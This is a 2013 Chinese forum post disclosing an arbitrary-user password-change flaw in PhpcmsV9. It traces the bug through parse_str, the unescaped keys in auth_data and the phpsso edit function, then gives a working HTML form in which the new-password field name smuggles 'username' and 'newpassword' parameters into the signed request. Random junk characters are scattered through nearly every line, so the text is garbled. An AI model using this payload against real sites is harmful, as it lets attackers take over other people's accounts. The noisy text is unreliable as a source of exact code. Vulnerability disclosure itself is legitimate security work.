找回密码
 立即注册
查看: 2652|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:* g$ K" [* r- S" W

- ?1 l5 p6 Z* s+ ^; H: ~: c, O, ^0 o0 Z1 w( P) K% y! T
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
& y# c5 p- z/ s9 M' W, x- `
' p; Z- h$ P1 ^" k9 ^, c9 f+ z在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。5 p9 M$ k  f' S

9 Q. z% J; ]$ F5 F7 K$ s8 v3 `& W我把它留给了你们。
/ c% V( |, I6 N( F不知道你们发现了它没有。
6 w4 v  C3 ^! \: C- C" e: o" R! I8 P7 N. }7 D( B: }4 g3 Y
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
- d% Y1 o' o2 f' z( Q
# C( A/ |: x7 G+ f! I- ?所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。: V3 R/ l% [7 y* {5 {& H! \
1 d  ?5 o  @0 {4 d' {" X$ i
也就是' ~/ G: I. K" S4 s# E) F/ v
4 W# `/ x1 e$ W
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。3 C* f1 T3 D7 F( k
3 p- k5 n6 f- T# O3 v$ i  ~/ Y
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
  Y" `& n4 a( I2 F( ?  y
* j2 g+ ?" R, J( D/ L" N; `. k) \' T0 |+ p. g: D  \5 j: k% Z7 Z! v
其实我们有这样的机会,看看代码,如下:
, w) l3 Q2 n5 b+ L4 y
/ |- m* m' J/ G4 h0 @2 I4 |  n$ }! d
public function auth_data($data) {
. ]# g1 D" f, N% e                $s = $sep = '';, U4 k0 X: P% }2 k# V* l
                foreach($data as $k => $v) {' T# Y9 h/ O& W7 u# a
                        if(is_array($v)) {/ w& C- @0 g9 A! ]" K% q
                                $s2 = $sep2 = '';8 O, p7 l4 q, _4 v& g" h4 Y
                                foreach($v as $k2 => $v2) {
: f" f0 ^, \8 X6 _6 |) z! u                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
' T6 c; u- @. k" y% \3 c                                        $sep2 = '&';
: K$ k& u7 H  q* K                                }
  j% H  O8 f, t& b+ f4 q                                $s .= $sep.$s2;/ K& A9 Q3 e' O2 D7 R& a6 g/ f
                        } else {* ^6 u+ @# d1 Y+ V$ l% B# ?
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
! h3 ^- U' O- f% ~2 v8 N5 G                        }
: U* G* G: ^9 y  `8 Q5 \                        $sep = '&';
' i' v( u# h8 h% t" V, m  b$ J7 K9 f; g                }
4 ^, f* A& v9 k+ a  @* ]
$ D4 {: w6 c' o& V$ z7 h3 t* v                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));3 n. s6 j$ d9 l9 @9 q
                return $auth_s;
8 ^/ J) V' S8 j9 i$ i1 X        }$ J1 h* C* G4 ~# {  |) J

% Q: I& B6 T: `* L# M1 s可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。2 r- `! e4 q+ A% R1 u) k( p

- A' v- M- r$ A- R举个例子
; k: n, d; I: ~% Q& W- P4 y. s6 W! ~. U9 P
$a[aaa=a&bbb] = 'a';7 C1 M7 s) ?+ O) \5 b& _* Y

/ I' Y( q4 N% r! a会变成aaa=a&bbb=a: O" G( X* m% l/ R- z$ ~$ J- N
9 @% Y2 ]9 D# ~. V
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。: `% p) C) q% v9 }
7 D* C) _- _) y1 I1 U, d  c* W
这个时候,我们可以再去看一个函数。
7 c9 K) ?& e, V( X# f% c# C- y- C% Y: c; t
就在这个文件内:& o. k0 f+ ]% ]$ c  ^2 i- V8 l

( J2 A- Y* i, p, s4 M2 O$ y0 l  f- P! r' k6 m" F0 ~9 {$ ~: ^2 ]
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {1 c+ A5 |' Z/ o0 \3 H
                if($email && !$this->_is_email($email)) {! A7 Y5 o. V3 W% e! `! [4 l' g
                        return -4;
* `& f  q, v' b, Q# b3 d1 L6 K% |                }2 v. ]( |4 n" D5 K" R
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));& h% G" s- D, A2 F! l
        }
: O8 n. O) a; K3 X- S, F+ I- d( c  v) M5 ]1 t
这是向通行证发了这样一个请求。+ u9 R' }# r" n& I+ Z
5 ~" u2 d6 U1 T# L
我们再跟到通信证代码里去看看,就会有所发现。3 V4 G% M) P, F8 H7 j; \# \* h

1 p# |2 r+ K6 N* r% ^
+ J8 e/ Z! r' z& xpublic function edit() {. Q" J9 q1 d  ?% l# D# O3 a- z+ o
//能省就省,太长了不是吗?
" \6 K! F* P- z; v* R  ?
* O% {2 r/ x3 u* R6 ^6 Oif($this->username) {
( v/ d* J1 X7 j" d+ R! P//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
0 G" \. F4 B& p9 I, ^3 {; I                                $res = $this->db->update($data, array('username'=>$this->username));
) n0 Y& W6 \+ i: h) r% b6 F/ ?                        } else {8 L; I* x: z% w* V- i# T
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
3 U6 |$ D/ T3 K/ t+ o2 C7 u/ `1 C6 r                                $res = $this->db->update($data, array('uid'=>$this->uid));$ [; c' `& g* j8 f; h3 u
                        }3 L! Q. R9 P# ~, v2 Q

* p) D( `6 y( b9 {/ e  W好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
3 s1 z, U# A, h$ H$ H
9 R) }1 G0 |4 U) Gpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')$ i3 p, V  L# O, \% y, u

9 w% E6 C- K! e* S+ s: p" p很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
# i  @5 o9 w* k4 {1 n9 `* h
' k- L/ ?0 c: X. Y我当然找到了:% v/ U9 ?& H1 k3 ?
phpcms9/phpcms/modules/member/index.php
- W( t, l$ |4 ~0 u" f; d
- I9 V5 P9 j" L; t$ B% C$ q1 ^2 Q$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);, M- a: ^# E$ Y, r0 g

! q: e) M- b* l0 o然后就没有然后了。+ ^9 U5 g" W3 L% f

( c& V( Z7 l& a  F<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
. s2 C( f+ }  v; i                                <table width="100%" cellspacing="0" class="table_form">. M1 _) F$ X. D2 ^, I- _4 y- e8 f* b
                                        <tr>3 Q8 Q- Z( V* r
                                                <th width="80">邮箱:</th>        
, U: K( [( A7 B5 ]% ~3 O                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
, z* L/ b4 G$ ^2 q6 ~/ ^                                        </tr>
4 [2 t5 j% q, I                                        <tr>
2 o9 y' U0 \/ P8 v8 U  q+ [- |                                                <th width="80">原密码:</th>        
5 O; q( E' [0 T# H9 s1 u$ W                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
2 Q" d/ \. N. D. @: B. i                                        </tr>% }6 e$ Q# y2 V- {$ ~
                                        <tr>9 r0 p# \! R8 v0 I; T8 k2 U
                                                <th>新密码:</th>1 R1 n/ \& m* i8 G* F
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
9 V# R; [& O7 f5 |                                        </tr>
4 R0 a5 z! d1 ?: ?: s" ?                                        <th></th># o2 v7 D& C7 j
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>) z' b) [2 ^) {7 x" }+ r! k" F* f
                                        </tr>, x# L7 D8 U, b! B* S1 ^
                                </table>
6 @' A, \, r# j% }4 }3 w) r+ r$ C
                               
; z% Y3 v+ g8 V3 @                        </form># A; d6 a3 Q6 ?# x+ u4 b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表